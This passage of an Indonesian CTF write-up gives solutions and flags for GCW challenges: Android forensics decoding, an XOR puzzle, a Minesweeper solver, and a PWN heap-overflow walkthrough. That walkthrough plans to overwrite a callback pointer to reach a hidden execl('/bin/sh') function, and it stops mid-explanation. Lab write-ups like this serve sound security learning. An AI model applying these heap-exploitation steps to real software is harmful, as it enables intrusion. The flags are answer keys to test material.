GCW{budi_g3lat1k_1s_th3_s4b0t3ur} 

Tapi flag-flag ini decoy. :( 

Alasannya: reminders.txt sudah memberi instruksi eksplisit bahwa flag asli harus disusun dari 

Gboard dictionary, DB WAL, dan Chrome raw paste URL. Jadi string yang langsung muncul 

sebagai GCW{...} tidak bisa langsung dipercaya. 

Clue pertama adalah: Gboard dictionary word. Pada Android, data Gboard biasanya berada di 

package: com.google.android.inputmethod.latin, Di archive ini, file dictionary berada di: 

data/data/com.google.android.inputmethod.latin/files/personal/user_history.directory/user_

history.en_US.dict 

Kita bisa cek string yang terlihat dari file dictionary: 

strings 

data/data/com.google.android.inputmethod.latin/files/personal/user_history.directory/user_

history.en_US.dict 

Karena banyak output, kita filter kandidat yang terlihat aneh: 
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strings 

data/data/com.google.android.inputmethod.latin/files/personal/user_history.directory/user_

history.en_US.dict | grep 'HDX' 

Ditemukan: 

HDX|5oes1je_$cbhjbo2 

Sekarang decode dengan ASCII offset -1, tetapi _ tidak digeser. 

Script kecil: 

s = "HDX|5oes1je_$cbhjbo2" decoded = "" for c in s: if c == "_": decoded += c else: decoded += 
chr(ord(c) - 1) print(decoded) 

Output: 

GCW{4ndr0id_#bagian1 

Bagian #bagian1 hanyalah marker. Jadi bagian pertama flag adalah: 

GCW{4ndr0id_ 

Clue kedua adalah: 

DB WAL value , WAL adalah singkatan dari Write-Ahead Log. Pada SQLite, data baru atau 

perubahan database kadang masih tersimpan di file -wal. Di archive ini ada file menarik: 

data/data/com.android.providers.media/files/Pictures/.thumb_cache_db-wal 

Kita cek menggunakan strings: strings 

data/data/com.android.providers.media/files/Pictures/.thumb_cache_db-wal 

Ditemukan string penting: chan_alealeahmad_drink_loverHelp me! m1:_4fwfout_=...!joj3j# 

Bagian yang relevan adalah: m1:_4fwfout_=...!joj3 

Decode lagi dengan ASCII offset -1, underscore tidak digeser. 
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s = "m1:_4fwfout_=...!joj3" decoded = "" for c in s: if c == "_": decoded += c else: decoded += 

chr(ord(c) - 1) print(decoded)  

Output: l09_3events_  

Clue ketiga adalah: 

Chrome raw paste URL 

Chrome History tersimpan di SQLite database: 

data/data/com.android.chrome/app_chrome/Default/History 

Jika punya sqlite3, bisa jalankan: 

sqlite3 data/data/com.android.chrome/app_chrome/Default/History 

Lalu query: SELECT id, url, title FROM urls; 

Atau pakai Python: 

import sqlite3 

db = "data/data/com.android.chrome/app_chrome/Default/History" 

con = sqlite3.connect(db) for row in con.execute("SELECT id, url, title FROM urls"): print(row) 

Dari Chrome History ditemukan URL mencurigakan: 

https://pastebin.com/raw/BMFBQQ_qxoe~#!gjobm!gmbh 

Karena clue menyebut Chrome raw paste URL, bagian yang perlu diambil adalah path raw 

paste-nya: 

BMFBQQ_qxoe~#!gjobm!gmbh 

Decode dengan ASCII offset -1, underscore tidak digeser: 

s = "BMFBQQ_qxoe~#!gjobm!gmbh" 

decoded = "" 

for c in s: 
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    if c == "_": 

        decoded += c 

    else: 

        decoded += chr(ord(c) - 1) 

print(decoded) 

Output: 

ALEAPP_pwnd}" final flag 

Bagian " final flag hanyalah marker akhir. Jadi bagian ketiga flag adalah: 

ALEAPP_pwnd} 

Dari tiga tahap sebelumnya, kita memperoleh: 

Bagian 1: GCW{4ndr0id_ 

Bagian 2: l09_3events_ 

Bagian 3: ALEAPP_pwnd} 

Gabungkan: 

GCW{4ndr0id_l09_3events_ALEAPP_pwnd} 

FLAG: GCW{4ndr0id_l09_3events_ALEAPP_pwnd} 
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Gemini Said Xorry (100 Points) 
 

AI can sound smart.​
AI can sound confident.​
AI can also make 19 juta lapangan pekerjaan 

http://ctf.gcwug.com:1233/ 

Jadi pada challenge ini kita diberikan sebuah link halaman berikut. 

 

Disini saya memasukkan beberapa prompt seperti berikut. 
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Lalu dari AI tersebut mengeluarkan output berikut. 

Session recovery masih terbuka. Kalau mau, cek audit drawer lalu abaikan prose yang terlalu 

percaya diri.  
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Dan terdapat tombol Session Recovery, dan ketika diakses terdapat kode berikut. 

 

Karena saya disini agak kesulitan mengecek satu persatu disini saya copy ke chat gpt dan 

output nya berikut. 

Inti solve-nya: jangan percaya leaked_answer; itu fake flags. File jelas bilang harus mulai dari 

manifest.entry_turn, follow turn.next, ambil hanya selected_note, decode body_b64, lalu 

validasi ring dengan closure + judge SHA-256. 

Accepted rings yang kepakai: 

ring-10 

ring-13 

ring-20 

ring-21 
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ring-22 

ring-23 

ring-31 

ring-36 

ring-44 

Dan berikut untuk solver script nya. 

import json, base64, hashlib 

from collections import defaultdict 

 

path = "Paste.txt" 

 

objs = [] 

start = False 

for line in open(path): 

    line = line.strip() 

    if line == "BEGIN_JSONL": 

        start = True 

        continue 

    if line == "END_JSONL": 

        break 

    if start and line: 

        objs.append(json.loads(line)) 
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manifest = next(o for o in objs if o["type"] == "manifest") 

turns = {o["id"]: o for o in objs if o["type"] == "turn"} 

notes = {o["id"]: o for o in objs if o["type"] == "cache_note"} 

 

def decode_note(note_id): 

    return json.loads(base64.b64decode(notes[note_id]["body_b64"])) 

 

# follow canonical chain 

chain = [] 

tid = manifest["entry_turn"] 

while tid: 

    t = turns[tid] 

    chain.append(t) 

    tid = t.get("next") 

 

chunks = [] 

rings = defaultdict(dict) 

 

for t in chain: 

    body = decode_note(t["selected_note"]) 

 

    if t["bundle"] == "ciphertext": 

        chunks.append((body["chunk_index"], body["hex"])) 
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    elif t["bundle"].startswith("ring-"): 

        rings[t["bundle"]][t["slot"]] = body["value"] 

 

ct = bytes.fromhex("".join(h for _, h in sorted(chunks))) 

 

accepted_pads = [] 

 

for ring_id in sorted(rings, key=lambda x: int(x.split("-")[1])): 

    r = rings[ring_id] 

 

    anchor = bytes.fromhex(r["anchor"]) 

    edges = [bytes.fromhex(e) for e in r["edges"]] 

    judge = r["judge"] 

 

    nodes = [anchor] 

    cur = anchor 

 

    for edge in edges: 

        cur = bytes(a ^ b for a, b in zip(cur, edge)) 

        nodes.append(cur) 

 

    closed = cur == anchor 
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    pad = bytes(len(anchor)) 

    for i in [1, 2, 3, 5]: 

        pad = bytes(a ^ b for a, b in zip(pad, nodes[i])) 

 

    check = hashlib.sha256( 

        f"xorring-v1|{ring_id}|{pad.hex()}".encode() 

    ).hexdigest()[:16] 

 

    if closed and check == judge: 

        print("[+] accepted", ring_id) 

        accepted_pads.append(pad) 

 

key = bytes(len(ct)) 

for pad in accepted_pads: 

    key = bytes(a ^ b for a, b in zip(key, pad)) 

 

flag = bytes(a ^ b for a, b in zip(ct, key)) 

print(flag.decode()) 

 

FLAG: GCW{1T_1S_TH4T_H4RDHUH??_S3ng_p3nt1ng_d4h_p4h4m_w0k} 
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GCW AFTERHOUR (100 Points) 
 

Event udah kelar. Lampu sebagian mati. 
But somehow... venue masih feels alive. 
 
Welcome to GCW 2.0 after hours. 
Kalau semuanya kelihatan normal, maybe that's the weird part. 
 
http://ctf.gcwug.com:1234/ 
 
Author: lyocs 

Dikasih web service yang ngejalanin game minesweeper.  

 

Sebenarnya saya sedikit idealis mau pake dari Minesweeper solver - LogiGames. Tapi ternyata 

makin naik stagenya makin banyak grid-nya, yaudah saya otomasi (gpt) kan saja. And gpt came 

up with this script buat solvernya.  

#!/usr/bin/env python3 

import math 

import os 

import random 

import time 
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from collections import defaultdict, deque 

from dataclasses import dataclass 

 

import requests 

import z3 

 

 

BASE = "http://ctf.gcwug.com:1234" 

Coord = tuple[int, int] 

 

 

def neighbors(x: int, y: int, w: int, h: int): 

    for yy in range(max(0, y - 1), min(h, y + 2)): 

        for xx in range(max(0, x - 1), min(w, x + 2)): 

            if xx != x or yy != y: 

                yield xx, yy 

 

 

def cell_state(board, x: int, y: int) -> str: 

    return board[y][x]["state"] 

 

 

def hidden_and_flagged(progress): 

    board = progress["board"] 

    hidden: set[Coord] = set() 

    flagged: set[Coord] = set() 

    for y, row in enumerate(board): 

        for x, cell in enumerate(row): 

            if cell["state"] == "hidden": 

                hidden.add((x, y)) 

            elif cell["state"] == "flagged": 

                flagged.add((x, y)) 

    return hidden, flagged 

 

 

def local_constraints(progress): 

    board = progress["board"] 

    w, h = progress["width"], progress["height"] 

    hidden, flagged = hidden_and_flagged(progress) 

    constraints: list[tuple[tuple[Coord, ...], int]] = [] 

    for y, row in enumerate(board): 
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        for x, cell in enumerate(row): 

            if cell["state"] != "revealed": 

                continue 

            adj_hidden = [] 

            adj_flags = 0 

            for n in neighbors(x, y, w, h): 

                if n in hidden: 

                    adj_hidden.append(n) 

                elif n in flagged: 

                    adj_flags += 1 

            target = int(cell.get("value", 0)) - adj_flags 

            constraints.append((tuple(adj_hidden), target)) 

    return constraints, hidden, flagged 

 

 

def forced_by_z3(progress): 

    constraints, hidden, flagged = local_constraints(progress) 

    if not hidden: 

        return set(), set() 

 

    remaining_mines = progress["mines"] - len(flagged) 

    if remaining_mines == 0: 

        return set(hidden), set() 

    if remaining_mines == len(hidden): 

        return set(), set(hidden) 

 

    boundary = set() 

    for cells, _ in constraints: 

        boundary.update(cells) 

    if not boundary: 

        return set(), set() 

 

    outside_count = len(hidden - boundary) 

    vars_by_cell = {c: z3.Bool(f"c_{c[0]}_{c[1]}") for c in boundary} 

    solver = z3.Solver() 

    for cells, target in constraints: 

        if target < 0 or target > len(cells): 

            raise RuntimeError("inconsistent board constraints") 

        if cells: 

            solver.add(z3.Sum([z3.If(vars_by_cell[c], 1, 0) for c in cells]) == 

target) 
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        elif target != 0: 

            raise RuntimeError("inconsistent board constraints") 

 

    boundary_sum = z3.Sum([z3.If(v, 1, 0) for v in vars_by_cell.values()]) 

    solver.add(boundary_sum <= remaining_mines) 

    solver.add(boundary_sum >= remaining_mines - outside_count) 

    if solver.check() != z3.sat: 

        raise RuntimeError("unsatisfiable board constraints") 

 

    safe: set[Coord] = set() 

    mines: set[Coord] = set() 

    for cell, var in vars_by_cell.items(): 

        solver.push() 

        solver.add(var) 

        if solver.check() == z3.unsat: 

            safe.add(cell) 

            solver.pop() 

            continue 

        solver.pop() 

 

        solver.push() 

        solver.add(z3.Not(var)) 

        if solver.check() == z3.unsat: 

            mines.add(cell) 

        solver.pop() 

    return safe, mines 

 

 

@dataclass 

class ComponentStats: 

    cells: list[Coord] 

    counts: dict[int, int] 

    mine_counts: dict[int, list[int]] 

    total: int 

 

 

def enumerate_component(cells: list[Coord], constraints: list[tuple[tuple[Coord, 

...], int]], cap=300_000): 

    index = {c: i for i, c in enumerate(cells)} 

    cons = [(tuple(index[c] for c in cs), target) for cs, target in constraints] 

    by_var: list[list[int]] = [[] for _ in cells] 
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    for ci, (cs, _) in enumerate(cons): 

        for vi in cs: 

            by_var[vi].append(ci) 

 

    order = sorted(range(len(cells)), key=lambda i: len(by_var[i]), reverse=True) 

    assigned = [-1] * len(cells) 

    current = [0] * len(cons) 

    remaining = [len(cs) for cs, _ in cons] 

    counts: dict[int, int] = defaultdict(int) 

    mine_counts: dict[int, list[int]] = defaultdict(lambda: [0] * len(cells)) 

    total = 0 

 

    def valid_after(var_i: int, value: int): 

        changed = by_var[var_i] 

        for ci in changed: 

            current[ci] += value 

            remaining[ci] -= 1 

        ok = True 

        for ci in changed: 

            _, target = cons[ci] 

            if current[ci] > target or current[ci] + remaining[ci] < target: 

                ok = False 

                break 

        if ok: 

            for ci, (_, target) in enumerate(cons): 

                if current[ci] > target or current[ci] + remaining[ci] < target: 

                    ok = False 

                    break 

        return ok 

 

    def undo(var_i: int, value: int): 

        for ci in by_var[var_i]: 

            current[ci] -= value 

            remaining[ci] += 1 

 

    def rec(pos: int, mines: int): 

        nonlocal total 

        if total > cap: 

            return 

        if pos == len(order): 

            for _, target in cons: 
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                pass 

            if all(current[ci] == target for ci, (_, target) in enumerate(cons)): 

                total += 1 

                counts[mines] += 1 

                arr = mine_counts[mines] 

                for i, value in enumerate(assigned): 

                    arr[i] += value 

            return 

 

        var_i = order[pos] 

        for value in (0, 1): 

            assigned[var_i] = value 

            if valid_after(var_i, value): 

                rec(pos + 1, mines + value) 

            undo(var_i, value) 

            assigned[var_i] = -1 

 

    rec(0, 0) 

    if total > cap: 

        return None 

    return ComponentStats(cells=cells, counts=dict(counts), 

mine_counts=dict(mine_counts), total=total) 

 

 

def exact_probabilities(progress): 

    constraints, hidden, flagged = local_constraints(progress) 

    useful_constraints = [(tuple(cs), target) for cs, target in constraints if cs] 

    boundary = set() 

    for cells, _ in useful_constraints: 

        boundary.update(cells) 

    outside = sorted(hidden - boundary) 

 

    cell_to_constraints: dict[Coord, list[int]] = defaultdict(list) 

    for i, (cells, _) in enumerate(useful_constraints): 

        for c in cells: 

            cell_to_constraints[c].append(i) 

 

    seen: set[Coord] = set() 

    components: list[tuple[list[Coord], list[tuple[tuple[Coord, ...], int]]]] = [] 

    for start in boundary: 

        if start in seen: 
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            continue 

        q = deque([start]) 

        seen.add(start) 

        comp_cells: set[Coord] = set() 

        comp_cons: set[int] = set() 

        while q: 

            c = q.popleft() 

            comp_cells.add(c) 

            for ci in cell_to_constraints[c]: 

                comp_cons.add(ci) 

                for n in useful_constraints[ci][0]: 

                    if n not in seen: 

                        seen.add(n) 

                        q.append(n) 

        components.append((sorted(comp_cells), [useful_constraints[i] for i in 

sorted(comp_cons)])) 

 

    stats: list[ComponentStats] = [] 

    for cells, cons in components: 

        if len(cells) > 28: 

            return None 

        item = enumerate_component(cells, cons) 

        if item is None or item.total == 0: 

            return None 

        stats.append(item) 

 

    remaining_mines = progress["mines"] - len(flagged) 

    n_out = len(outside) 

 

    def ways_out(k: int) -> int: 

        if 0 <= k <= n_out: 

            return math.comb(n_out, k) 

        return 0 

 

    suffix = [defaultdict(int) for _ in range(len(stats) + 1)] 

    suffix[len(stats)][0] = 1 

    for i in range(len(stats) - 1, -1, -1): 

        for used, ways in suffix[i + 1].items(): 

            for k, count in stats[i].counts.items(): 

                suffix[i][used + k] += ways * count 
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    prefix = defaultdict(int) 

    prefix[0] = 1 

    probabilities: dict[Coord, float] = {} 

    total_global = 0 

    outside_mine_weight = 0 

 

    for used_components, ways_components in suffix[0].items(): 

        outside_mines = remaining_mines - used_components 

        w = ways_out(outside_mines) 

        total_global += ways_components * w 

        outside_mine_weight += ways_components * w * outside_mines 

 

    if total_global == 0: 

        return None 

 

    for i, st in enumerate(stats): 

        cell_weights = [0] * len(st.cells) 

        for used_before, ways_before in prefix.items(): 

            for k, count in st.counts.items(): 

                for used_after, ways_after in suffix[i + 1].items(): 

                    outside_mines = remaining_mines - used_before - k - used_after 

                    w = ways_before * ways_after * ways_out(outside_mines) 

                    if not w: 

                        continue 

                    mines_for_k = st.mine_counts[k] 

                    for ci, mine_count in enumerate(mines_for_k): 

                        cell_weights[ci] += mine_count * w 

        for ci, c in enumerate(st.cells): 

            probabilities[c] = cell_weights[ci] / total_global 

 

        new_prefix = defaultdict(int) 

        for used, ways in prefix.items(): 

            for k, count in st.counts.items(): 

                new_prefix[used + k] += ways * count 

        prefix = new_prefix 

 

    if outside: 

        p = outside_mine_weight / (total_global * n_out) 

        for c in outside: 

            probabilities[c] = p 

    return probabilities 
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def heuristic_guess(progress): 

    constraints, hidden, flagged = local_constraints(progress) 

    probs = exact_probabilities(progress) 

    if probs: 

        return min(probs, key=lambda c: (probs[c], random.random())), probs 

 

    remaining = progress["mines"] - len(flagged) 

    default = remaining / max(1, len(hidden)) 

    local: dict[Coord, list[float]] = defaultdict(list) 

    for cells, target in constraints: 

        if cells: 

            p = target / len(cells) 

            for c in cells: 

                local[c].append(p) 

    scored = [] 

    for c in hidden: 

        estimates = local.get(c) 

        p = min(estimates) if estimates else default 

        scored.append((p, random.random(), c)) 

    scored.sort() 

    return scored[0][2], {c: p for p, _, c in scored} 

 

 

class Game: 

    def __init__(self): 

        self.s = requests.Session() 

        self.s.headers.update({"Connection": "close"}) 

        sid = os.environ.get("SID") 

        if sid: 

            self.s.cookies.set("sid", sid, domain="ctf.gcwug.com", path="/") 

        else: 

            self._request("GET", "/", timeout=10) 

 

    def _request(self, method: str, path: str, **kwargs): 

        last_error = None 

        for _ in range(5): 

            try: 

                return self.s.request(method, BASE + path, **kwargs) 

            except requests.RequestException as e: 
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                last_error = e 

                time.sleep(0.2) 

        raise last_error 

 

    def state(self): 

        return self._request("GET", "/api/state", timeout=10).json()["progress"] 

 

    def post(self, action: str, payload: dict): 

        r = self._request("POST", f"/api/{action}", json=payload, timeout=10) 

        data = r.json() 

        if not r.ok and "progress" not in data: 

            raise RuntimeError(data) 

        data["_status_code"] = r.status_code 

        return data 

 

    def reveal(self, x: int, y: int): 

        return self.post("reveal", {"x": x, "y": y}) 

 

    def flag(self, x: int, y: int): 

        return self.post("flag", {"x": x, "y": y}) 

 

    def reset(self): 

        return self.post("reset", {}) 

 

 

def print_board(progress): 

    board = progress.get("board") or [] 

    for row in board: 

        print("".join( 

            "?" if c["state"] == "hidden" else 

            "F" if c["state"] == "flagged" else 

            "X" if c["state"] == "exploded" else 

            str(c.get("value", 0)) 

            for c in row 

        )) 

 

 

def solve_grid(game: Game, progress): 

    last_stage = progress["stageIndex"] 

    first_move = True 

    while True: 

Presented by @hackitbraw_ub 



63 

        progress = game.state() 

        if progress["phase"] != "grid" or progress["stageIndex"] != last_stage or 

progress.get("solved"): 

            return progress 

        if progress.get("gameOver"): 

            print(f"stage {last_stage + 1}: crashed, resetting sector") 

            progress = game.reset()["progress"] 

            first_move = True 

 

        hidden, flagged = hidden_and_flagged(progress) 

        revealed = progress["width"] * progress["height"] - len(hidden) - 

len(flagged) 

        print( 

            f"stage {progress['stageIndex'] + 1}/{progress['stageCount']} " 

            f"{progress['stageName']}: revealed={revealed} hidden={len(hidden)} " 

            f"flags={len(flagged)}/{progress['mines']}" 

        ) 

 

        if not hidden: 

            for y, row in enumerate(progress["board"]): 

                for x, cell in enumerate(row): 

                    if cell["state"] == "revealed": 

                        data = game.reveal(x, y) 

                        print(f"  completion trigger ({x},{y}): 

{data.get('message')}") 

                        return data["progress"] 

            return game.state() 

 

        if revealed == 0: 

            first_move = False 

            data = game.reveal(0, 0) 

            progress = data["progress"] 

            print(f"  opener (0,0): {data.get('message')}") 

            continue 

 

        try: 

            safe, mines = forced_by_z3(progress) 

        except RuntimeError as e: 

            print(f"  constraint error: {e}; resetting") 

            progress = game.reset()["progress"] 

            first_move = True 
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            continue 

 

        mines -= flagged 

        if mines: 

            for x, y in sorted(mines): 

                data = game.flag(x, y) 

                progress = data["progress"] 

            print(f"  flagged {len(mines)} forced mines") 

            continue 

 

        safe -= flagged 

        if safe: 

            for x, y in sorted(safe): 

                data = game.reveal(x, y) 

                progress = data["progress"] 

                if data.get("flag"): 

                    print(data["message"]) 

                    print(data["flag"]) 

                    return progress 

                if progress.get("gameOver") or progress["stageIndex"] != 

last_stage or progress["phase"] != "grid": 

                    print(f"  reveal ({x},{y}): {data.get('message')}") 

                    return progress 

            print(f"  revealed {len(safe)} forced safe cells") 

            continue 

 

        guess, probs = heuristic_guess(progress) 

        p = probs.get(guess, 1.0) if probs else 1.0 

        print(f"  guessing {guess} with estimated mine probability {p:.3f}") 

        data = game.reveal(*guess) 

        progress = data["progress"] 

        if data.get("flag"): 

            print(data["message"]) 

            print(data["flag"]) 

            return progress 

        print(f"  guess result: {data.get('message')}") 

        if progress.get("gameOver"): 

            progress = game.reset()["progress"] 

            first_move = True 
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def solve_circuit(game: Game, progress): 

    print("entered final circuit phase") 

    circuit = progress.get("circuit") or [] 

    if not circuit: 

        raise RuntimeError("empty circuit") 

    h = len(circuit) 

    w = len(circuit[0]) 

    print("circuit:") 

    for row in circuit: 

        print("".join("1" if v else "0" for v in row)) 

 

    def click(x: int, y: int): 

        data = game.post("circuit", {"x": x, "y": y}) 

        if data.get("flag"): 

            print(data["message"]) 

            print(data["flag"]) 

        return data 

 

    init = [row[:] for row in circuit] 

    columns = [] 

    for y in range(h): 

        for x in range(w): 

            current = game.state().get("circuit") 

            if current != init: 

                raise RuntimeError("circuit drifted while measuring operations") 

            data = click(x, y) 

            if data.get("flag"): 

                return data["progress"] 

            after = data["progress"]["circuit"] 

            columns.append([a ^ b for a, b in zip(circuit_vec(init), 

circuit_vec(after))]) 

            data = click(x, y) 

            if data.get("flag"): 

                return data["progress"] 

            if data["progress"]["circuit"] != init: 

                raise RuntimeError("circuit button did not restore after second 

click") 

 

    print(f"measured {len(columns)} circuit operations") 

    current_vec = circuit_vec(init) 

    for target_value in (0, 1): 
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        rhs = [value ^ target_value for value in current_vec] 

        solution = gf2_solve(columns, rhs) 

        if solution is None: 

            continue 

        moves = [(i % w, i // w) for i, bit in enumerate(solution) if bit] 

        print(f"trying circuit target {target_value} with {len(moves)} moves") 

        for x, y in moves: 

            data = click(x, y) 

            progress = data["progress"] 

            if data.get("flag"): 

                return progress 

        progress = game.state() 

        if progress.get("solved"): 

            return progress 

        for x, y in moves: 

            data = click(x, y) 

            if data.get("flag"): 

                return data["progress"] 

        if game.state().get("circuit") != init: 

            raise RuntimeError("failed to restore circuit before next target") 

    raise RuntimeError("no circuit target produced the flag") 

 

 

def circuit_vec(circuit): 

    return [1 if circuit[y][x] else 0 for y in range(len(circuit)) for x in 

range(len(circuit[0]))] 

 

 

def gf2_solve(columns, rhs): 

    n = len(rhs) 

    m = len(columns) 

    rows = [] 

    for i in range(n): 

        mask = 0 

        for j, col in enumerate(columns): 

            if col[i]: 

                mask |= 1 << j 

        rows.append([mask, rhs[i]]) 

 

    pivot_cols = [] 

    r = 0 
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    for col in range(m): 

        pivot = None 

        for i in range(r, n): 

            if (rows[i][0] >> col) & 1: 

                pivot = i 

                break 

        if pivot is None: 

            continue 

        rows[r], rows[pivot] = rows[pivot], rows[r] 

        for i in range(n): 

            if i != r and ((rows[i][0] >> col) & 1): 

                rows[i][0] ^= rows[r][0] 

                rows[i][1] ^= rows[r][1] 

        pivot_cols.append(col) 

        r += 1 

 

    for mask, bit in rows: 

        if mask == 0 and bit: 

            return None 

    solution = [0] * m 

    for row_i, col in enumerate(pivot_cols): 

        solution[col] = rows[row_i][1] 

    return solution 

 

 

def main(): 

    random.seed(time.time_ns()) 

    game = Game() 

    progress = game.state() 

    print(f"session started: {game.s.cookies.get_dict()}") 

    while not progress.get("solved"): 

        if progress["phase"] == "grid": 

            progress = solve_grid(game, progress) 

        elif progress["phase"] == "circuit": 

            progress = solve_circuit(game, progress) 

        else: 

            raise RuntimeError(f"unknown phase: {progress['phase']}") 

    print("solved") 

if __name__ == "__main__": 

    main() 
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Untuk setiap hidden cell pada boundary, dibuat variabel boolean: 

vars_by_cell = {c: z3.Bool(f"c_{c[0]}_{c[1]}") for c in boundary} 

Setiap cell angka memberikan constraint: 

sum(hidden tetangga yang merupakan mine) = value - jumlah flag tetangga 

Contoh implementasi constraint: 

solver.add( 

    z3.Sum([z3.If(vars_by_cell[c], 1, 0) for c in cells]) == target 

) 

Total mines juga dipakai sebagai constraint global. Karena tidak semua hidden cell berada di 

boundary, jumlah mine pada boundary dibatasi dengan sisa mines dan jumlah cell di luar 

boundary: 

boundary_sum <= remaining_mines 

boundary_sum >= remaining_mines - outside_count 

Untuk mencari langkah pasti: 

- Jika `cell = mine` membuat solver `unsat`, maka cell tersebut aman untuk direveal. 

- Jika `cell = safe` membuat solver `unsat`, maka cell tersebut pasti mine dan bisa diflag. 

Kalau tidak ada langkah pasti, solver menghitung probabilitas dengan enumerasi assignment 

pada komponen boundary kecil. Cell dengan probabilitas mine terkecil dipilih sebagai tebakan. 

Jika tebakan kena mine, server mereset sector itu saja, jadi solver tinggal mengulang dari 

sector yang sama. Satu detail penting: setelah semua mine diflag dan tidak ada hidden cell 

tersisa, stage kadang belum otomatis lanjut. Solusinya adalah melakukan reveal ulang pada 

salah satu cell yang sudah revealed untuk memicu pesan: Layer sealed. 

FLAG: GCW{b00thny4_r4m41_t4pi_p0seny4_y4ng_ng4s1h_j4l4n} 
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Welcome Flag <3 (100 Points) 
 

Siapa yang tau kalo GCW punya sosmed selain instagram? - 
Sanity Check  

Jadi di challenge ini kita disuruh mencari akun lain dari gcw disini saya mencoba cek nya di tiktok. dan 

disalah satu video  di dapatkan lah sebuah koment tersebut. 

 

Di dapatkan lah Flag bagian pertama yaitu GCW{semangat_pagi . Lalu disini saya mencoba akses akun 

dari komentar tersebut dan didapatkan lah bagian 2 di bionya. 

 

Part 2 Flag nya yaitu : _di_gcw_mbeeeeee} 

FLAG: GCW{semangat_pagi_di_gcw_mbeeeee} 
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feedback(100 Points) 
 

tolong isi feedback teman baikku 

chall 

Author : etmin 

Jadi intinya cuma ngisi link form feedback aja. 

 

FLAG: GCW{CTF_A6_A6_JO55} 
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PWN 
apa aja ada disini (100 Points) 

 

betul kok disini ada apa aja, ada sagiri melompat lompat bunyinya 
hIEAP hIEAP He14p 
 
nc ctf.gcwug.com 1337 
 
Author: lyocs 

Recon filenya dulu le 

 

Proteksi cukup lengkap: 

- Full RELRO membuat GOT overwrite tidak praktis. 

- Canary membuat stack overflow biasa tidak menarik. 

- NX membuat shellcode di heap/stack tidak bisa langsung dieksekusi. 

- PIE membuat alamat fungsi berubah karena ASLR. 

- CET note `SHSTK` dan `IBT` muncul, jadi jalur eksploit yang paling aman adalah 

memanfaatkan indirect call yang sudah ada di program. 

Saat dijalankan, program menampilkan menu: 
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Ada 8 slot catatan, ukuran catatan dibatasi `64-1280`, dan ada fitur `service desk` yang 

mencurigakan karena ada callback function pointer. 

Dari hasil reverse engineering, objek catatan kira-kira berbentuk seperti ini: 

struct note { 

    size_t max_size;      // offset +0x00 

    size_t current_size;  // offset +0x08 

    char *buf;            // offset +0x10 

}; 

Saat membuat catatan: 

1702: mov    edi,0x18 

1707: call   malloc@plt              ; malloc struct note 

1719: mov    rdi,QWORD PTR [rsp]     ; size user 

1727: call   calloc@plt              ; calloc(size, 1) 

173e: movq   xmm0,QWORD PTR [rsp] 

174a: punpcklqdq xmm0,xmm0 

174e: movups XMMWORD PTR [rcx],xmm0  ; note->max_size = size, note->current_size = 

size 

1731: mov    QWORD PTR [rcx+0x10],rax ; note->buf = calloc result 

Jadi `max_size` dan `current_size` sama-sama diisi ukuran awal. Untuk objek `service desk`, 

bentuk pentingnya seperti ini: 

struct service_desk { 

    char name[0x20];       // offset +0x00 
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    void (*callback)(char *msg); // offset +0x20 

    char text[0x28];       // offset +0x28 

}; 

Callback normal berada di offset PIE `0x1990`. Fungsi ini hanya print: 

1990: endbr64 

1994: mov    rdx,rdi 

1997: lea    rsi,[rip+0x666]        ; "[service] %s\n" 

199e: mov    edi,0x1 

19a5: jmp    __printf_chk@plt 

Ada juga fungsi tersembunyi di offset PIE `0x1b70`: 

1b70: endbr64 

1b76: lea    rdi,[rip+0x77b]        ; "[+] Tambal selesai..." 

1b81: call   puts@plt 

1b86: lea    rdi,[rip+0x4cb]        ; "/bin/sh" 

1b91: lea    rsi,[rip+0x4c5]        ; "sh" 

1b98: call   execl@plt 

Fungsi ini membuka shell dengan `execl("/bin/sh", "sh", NULL)`. Ini target eksploitnya. Bug ada 

di fitur `Pangkas catatan`. Disassembly penting: 

1570: call   read_number             ; index 

159b: call   read_number             ; new size 

15aa: cmp    rax,0x3f 

15ae: jbe    error                   ; new size harus > 0x3f 

15bb: mov    r14,QWORD PTR [notes+idx*8] 

15bf: cmp    rax,QWORD PTR [r14+0x8] 

15c3: jae    error                   ; new size harus lebih kecil dari 

current_size 

15c9: mov    rdi,QWORD PTR [r14+0x10] 

15cd: call   free@plt                ; free old buffer 

15d2: mov    rdi,r15 

15d5: call   malloc@plt              ; malloc(new_size) 

15da: mov    QWORD PTR [r14+0x10],rax 

15ef: call   memset@plt 

15f4: mov    QWORD PTR [r14+0x8],r15 ; current_size = new_size 

Masalahnya, hanya `current_size` di offset `+0x08` yang diperbarui. `max_size` di offset `+0x00` 

tetap ukuran awal. Sedangkan fitur edit memakai `max_size` sebagai batas tulis: 
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14f0: call   read_number             ; index 

151b: call   read_number             ; edit length 

152a: mov    rax,QWORD PTR [notes+idx*8] 

152e: cmp    QWORD PTR [rax],rsi     ; compare note->max_size dengan length 

1531: jb     error                   ; hanya gagal kalau length > max_size 

154f: mov    rdi,QWORD PTR [rax+0x10] 

1553: call   read_exact              ; read length bytes ke note->buf 

Akibatnya: 

1. Buat catatan ukuran besar, misalnya `0x500`. 

2. Pangkas catatan menjadi kecil, misalnya `0x50`. 

3. Buffer aktual sekarang hanya `0x50`. 

4. Tetapi `max_size` masih `0x500`. 

5. Fitur edit masih mengizinkan write sampai `0x500` byte. 

Ini menghasilkan heap overflow dari buffer catatan yang sudah diperkecil. Fitur `Pangkas 

catatan` punya side effect menarik: 

15f8: mov    edi,0x50 

15fd: call   malloc@plt              ; malloc service desk baru 

1602: mov    r14,rax 

1647: lea    rax,[rip+0x342]         ; callback normal 0x1990 

1655: mov    QWORD PTR [r14+0x20],rax 

1663: call   free@plt                ; free service desk lama 

166f: mov    QWORD PTR [global_service_desk],r14 

Setelah catatan dipangkas, program langsung membuat `service desk` baru berukuran `0x50`. 

Kalau kita pangkas note ke ukuran `0x50`, heap biasanya menjadi: 

note->buf chunk      service_desk chunk 

0x50 user data       0x50 user data 

Di glibc, chunk dengan user size `0x50` punya chunk size `0x60` karena metadata heap. Jadi 

jarak dari awal `note->buf` ke awal user data `service_desk` adalah `0x60`. Callback service 

desk ada di offset `+0x20`, jadi offset dari awal `note->buf` ke callback: 0x60 + 0x20 = 0x80 

Presented by @hackitbraw_ub 



75 

Maka payload untuk overwrite callback: payload = b"A" * 0x80 + new_callback_bytes 

Alamat callback normal dan fungsi shell: 

normal callback : PIE base + 0x1990 

win/shell       : PIE base + 0x1b70 

Keduanya ada di page yang sama, dan selisihnya hanya: 0x1b70 - 0x1990 = 0x1e0 

Kita tidak punya leak PIE, tetapi kita tidak perlu overwrite 8 byte penuh. Kita cukup overwrite 

